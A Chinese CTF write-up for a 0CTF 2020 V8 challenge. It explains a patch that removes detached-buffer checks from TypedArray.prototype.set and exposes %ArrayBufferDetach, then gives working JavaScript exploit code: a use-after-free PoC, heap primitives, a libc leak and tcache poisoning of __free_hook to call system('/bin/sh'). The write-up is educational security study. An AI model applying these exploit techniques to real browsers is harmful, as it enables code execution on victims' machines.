0ctf 2020
上的题目,总共三题。这是第一题,要做的是对patch
的v8
进行利用;第二题是在chrome
中开启了Mojo
,要实现chrome sbx
逃逸;第三题是二者的结合,要求先用v8
的开启Mojo
,然后再沙箱逃逸,实现chrome fullchain
的利用。
基础
这是第一题对于v8
漏洞的wp
,题目附件内容给的很简单,就三个。一个patch
文件,一个d8
及它运行的快照。
1 2 | $ ls
d8 snapshot_blob. bin tctf.diff
|
为了方便调试,先编译对应版本的v8
:
1 2 3 4 5 | git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git apply < .. / tctf.diff
tools / dev / gm.py x64.release
tools / dev / gm.py x64.debug
|
分析
TypedArray.prototype.set
要想搞清楚漏洞,先要知道TypedArray.prototype.set
函数的功能以及实现。
参考TypedArray.prototype.set,知道set()
方法用于从指定数组中读取值,并将其存储在类型化数组中。使用的语法如下所示:
1 2 | typedarray. set (array[, offset])
typedarray. set (typedarray[, offset])
|
第一个参数array
是拷贝数据的源数组,源数组的所有值都会被复制到目标数组中,除非源数组的长度加上偏移量超过目标数组的长度,而在这种情况下会抛出异常;第二个参数偏移量参数offset
指定从什么地方开始使用源数组 array
的值进行写入操作。如果忽略该参数,则默认为0
。
示例如下所示,简单来说就是从参数中的数组拷贝对应的数据并保存到目的数组当中。
1 2 3 4 5 6 | var buffer = new ArrayBuffer( 8 );
var uint8 = new Uint8Array( buffer );
uint8. set ([ 1 , 2 , 3 ], 3 );
console.log(uint8); / / Uint8Array [ 0 , 0 , 0 , 1 , 2 , 3 , 0 , 0 ]
|
再来看ecma
标准中对于TypedArray.prototype.set函数实现的规定,如下所示。
可以看到会对源数组和目的数据的长度进行检查后,调用SetTypedArrayFromArrayLike
函数,该函数部分定义如下。
很关键的一点是会在该函数中调用IsDetachedBuffer
来检查源数组以及目的数组存放数据的空间是否已经被释放,如果被释放则抛出异常。如果这两个空间都没被释放,说明内存空间可用,可以正常拷贝;如果某个内存空间被释放的话,如果仍然正常使用,则形成了UAF
漏洞。
diff 分析
题目对v8
的patch
关键有两部分,第一部分是对TypedArrayPrototypeSet
函数的patch
,可以看到它把对于源数组以及目标数组存放数据空间内存的检查给patch
掉了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | diff - - git a / src / builtins / typed - array - set .tq b / src / builtins / typed - array - set .tq
index b5c9dcb261..babe7da3f0 100644
- - - a / src / builtins / typed - array - set .tq
+ + + b / src / builtins / typed - array - set .tq
@@ - 70 , 7 + 70 , 7 @@ TypedArrayPrototypeSet(
/ / 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
/ / 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
/ / exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = % RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg = arguments[ 0 ];
try {
@@ - 86 , 8 + 86 , 7 @@ TypedArrayPrototypeSet(
/ / 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
/ / 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
/ / exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = % RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
|
EnsureAttached
代码如下所示,很直观的可以看到,代码的patch
将IsDetachedBuffer(array.buffer)
的判断给去掉了,而是直接将内存指针进行转换。即如果我们释放了array.buffer
,代码仍然会正常调用set
函数。
1 2 3 4 5 6 | / / builtins / typed - array.tq: 168
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray
labels Detached {
if (IsDetachedBuffer(array. buffer )) goto Detached;
return % RawDownCast<AttachedJSTypedArray>(array);
}
|
第二个关键的patch
,则是对于本应该是给定--allow-native-syntax
参数才可以调用的函数的处理。当解析代码遇到Token::MOD
(%
)的时候,本来会判断flags().allow_natives_syntax()
是否开启,开启的话再调用ParseV8Intrinsic
函数。patch
过后,将flags().allow_natives_syntax()
的判断去掉了,直接调用ParseV8Intrinsic
函数,这也就意味着可以直接调用v8
的内部函数,而不需要--allow-native-syntax
参数。
另一部分patch
则是加入了function->function_id != Runtime::kArrayBufferDetach
的判断,即当调用ParseV8Intrinsic
函数的时候,如果函数的id
不是kArrayBufferDetach
的话,就不进行调用。
上面两个结合起来的内容就是,允许不使用--allow-native-syntax
参数就直接使用内部函数,但内部函数限制为%ArrayBufferDetach
的调用,像%DebugPrint
这些函数就不能再进行使用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | - - - a / src / parsing / parser - base.h
+ + + b / src / parsing / parser - base.h
@@ - 1907 , 10 + 1907 , 8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
return ParseTemplateLiteral(impl() - >NullExpression(), beg_pos, false);
case Token::MOD:
- if (flags().allow_natives_syntax() || extension_ ! = nullptr) {
- return ParseV8Intrinsic();
- }
- break ;
+ / / Directly call % ArrayBufferDetach without ` - - allow - native - syntax` flag
+ return ParseV8Intrinsic();
default:
break ;
diff - - git a / src / parsing / parser.cc b / src / parsing / parser.cc
index 9577b37397 .. 2206d250d7 100644
- - - a / src / parsing / parser.cc
+ + + b / src / parsing / parser.cc
@@ - 357 , 6 + 357 , 11 @@ Expression * Parser::NewV8Intrinsic(const AstRawString * name,
const Runtime::Function * function =
Runtime::FunctionForName(name - >raw_data(), name - >length());
+ / / Only % ArrayBufferDetach allowed
+ if (function - >function_id ! = Runtime::kArrayBufferDetach) {
+ return factory() - >NewUndefinedLiteral(kNoSourcePosition);
+ }
+
/ / Be more permissive when fuzzing. Intrinsics are not supported.
if (FLAG_fuzzing) {
return NewV8RuntimeFunctionForFuzzing(function, args, pos);
|
漏洞分析
经过了上面的分析,漏洞原理就很简单了。即我们可以直接使用%ArrayBufferDetach
函数来释放TypedArray
的数据内存,在释放后仍然可以调用TypedArray.prototype.set
函数来操作该内存,从而形成了UAF
漏洞。
漏洞利用
poc
的构造比较简单:
1 2 3 4 5 | let a = new Uint8Array( 0x200 );
let b = new Uint8Array( 0x200 );
% ArrayBufferDetach(a. buffer ); / / into tcache
a. set (b) / / overwrite a's fd, write to freed mem
b. set (a) / / read from freed mem
|
d8
使用的是glibc
来进行内存分配,所以这题可以简化成堆的菜单题。
这里需要注意一点的是正常以new Uint8Array(0x200);
这种形式来分配内存的时候,会调用calloc
来分配内存,它是不会用tcache
来分配的。分配的函数调用栈如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | |
使用如下形式却是可以触发malloc
的。
1 2 3 | let a = {};
a.length = size; / / malloc size
return new Uint8Array(a);
|
函数调用栈如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | |
对应到v8
中的代码如下所示,当触发malloc
的时候,走的是AllocateUninitialized
分支;调用calloc
的时候,走的是Allocate
分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 | / / Allocate a backing store using the array buffer allocator from the embedder.
std::unique_ptr<BackingStore> BackingStore::Allocate(
Isolate * isolate, size_t byte_length, SharedFlag shared,
InitializedFlag initialized) {
...
auto allocate_buffer = [allocator, initialized](size_t byte_length) {
if (initialized = = InitializedFlag::kUninitialized) {
return allocator - >AllocateUninitialized(byte_length);
}
void * buffer_start = allocator - >Allocate(byte_length);
...
return buffer_start;
};
|
有了上面的解释,下面我们来构造菜单题所对应的原语,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | function calloc(size)
{
let uint8 = new Uint8Array(size);
return uint8;
}
function malloc(size)
{
var malloc_size = {};
malloc_size.length = size;
let uint8 = new Uint8Array(malloc_size);
return uint8;
}
function free(ptr)
{
% ArrayBufferDetach(ptr. buffer );
}
function write64(ptr, offset, val)
{
let dv = new DataView(ptr. buffer );
dv.setBigInt64(offset, val, true);
return ;
}
function read64(ptr, offset)
{
let dv = new DataView(ptr. buffer );
val = dv.getBigInt64(offset, true);
return val;
}
|
利用的思路是:
先申请大的堆块,然后释放进unsorted bin
,利用uaf
漏洞泄露出libc
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | / / calloc a big chunk with 0x600
let leak_ptr = calloc( 0x600 );
let read_ptr = calloc( 0x600 );
/ / calloc a chunk with / bin / sh string
let gap = calloc( 0x100 );
write64(gap, 0 , 0x68732f6e69622fn );
/ / free big chunk to unsorted_bin
free(leak_ptr);
/ / uaf to leak libc address
read_ptr. set (leak_ptr);
let libc_base = read64(read_ptr, 8 ) - 0x1ebbe0n ;
console.log( "[+] libc base: 0x" + hex (libc_base));
|
申请小堆块,然后释放进tcache
,然后利用uaf
漏洞修改tcache
的指针指向free hook
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | / / malloc tcache chunk with 0x60
let evil_ptr = malloc( 0x60 );
/ / malloc another tcache chunk with 0x60
let evil_ptr1 = malloc( 0x60 );
let write_ptr = malloc( 0x60 );
/ / deploy a chunk with free_hook addr content
write64(write_ptr, 0 , free_hook);
/ / free 0x60 chunk to tcache, tcache count is 1 ;
free(evil_ptr1);
/ / free evil chunk to tcache, tcache count is 2 ;
free(evil_ptr);
/ / set tcache chunk fd to free_hook addr;
evil_ptr. set (write_ptr);
/ / malloc out the first chunk, tcache count is 1 ;
let reserved_ptr = malloc( 0x60 );
/ / malloc out free_hook chunk, tcache count is 0 ;
let free_hook_ptr = malloc( 0x60 );
|
修改free hook
的内容为system
地址,释放内容/bin/sh
的堆块,成功get shell
。
1 2 3 4 5 | / / write system addr to free_hook
write64(free_hook_ptr, 0 , system_addr);
/ / free mem with / bin / sh to get shell.
free(gap);
|
要提一句的是调试的时候最好把第二部分的patch
即function->function_id != Runtime::kArrayBufferDetach
对内置函数判断的检查给去掉,这样就可以正常使用其他的内置函数来,不然像%DebugPrint
这些函数用不了的话,还是影响调试的。
总结
第一次体验v8
里面的uaf
漏洞,感觉这种在正常的漏洞里面应该会比较少见,但是也是新颖。也加深了对TypedArray backing_store
指针的理解。
文章首发于奇安信攻防社区
参考
[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班